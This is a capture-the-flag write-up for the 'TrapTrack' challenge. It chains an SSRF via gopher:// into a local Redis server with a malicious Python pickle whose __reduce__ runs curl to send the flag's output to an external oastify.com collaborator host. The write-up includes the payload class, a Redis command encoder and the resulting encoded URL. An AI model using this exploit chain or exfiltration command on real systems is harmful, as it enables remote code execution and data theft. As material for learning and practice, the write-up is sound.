TrapTrack¶
Solution¶
Read through the code to find the user and password was admin
:admin
.
challenge/application/config.py
Saw that it used pickle
to deserialize data. Part of the data could be written by the user.
challenge/worker/main.py
The application used Redis and would perform GET
requests against user entered URLs.
I combined these to send an SSRF request to the Redis server that modified the contents and then executed the payload by initiating the status.
This is the code I used to build the Insecure Deserialization exploit:
class Exploit(object):
def __reduce__(self):
import os
return (
os.system,
(
b"curl gaumuwc5cox2mynmj88m9jte55bwztni.oastify.com?flag=$(/readflag | base64)",
),
)
payl = Exploit()
payload = base64.b64encode(pickle.dumps(payl)).decode()
Format Change Watching another walkthrough I saw that they did it without the special encoding. I tried it on my local copy and this worked:
string = f"hset jobs 101 {payload}\r\nsave\r\n"
return f"gopher://127.0.0.1:6379/_{quote(string)}"
Here is the code that built the SSRF URL for Redis:
def format_redis(payload):
cmd = f"hset jobs 101 {payload}"
arr = cmd.split(" ")
crlf = "\r\n"
string = f"*{len(arr)}"
for x in arr:
string += f"{crlf}${len(x)}{crlf}{x}"
string += crlf
url = f"gopher://127.0.0.1:6379/_{quote(string)}"
return url
print(format_redis(payload))
The result:
gopher://127.0.0.1:6379/_%2A4%0D%0A%244%0D%0Ahset%0D%0A%244%0D%0Ajobs%0D%0A%243%0D%0A101%0D%0A%24152%0D%0AgASVZwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUQ0xjdXJsIGdhdW11d2M1Y294Mm15bm1qODhtOWp0ZTU1Ynd6dG5pLm9hc3RpZnkuY29tP2ZsYWc9JCgvcmVhZGZsYWcgfCBiYXNlNjQplIWUUpQu%0D%0A
References¶
- http://pycurl.io/docs/7.19.5.3/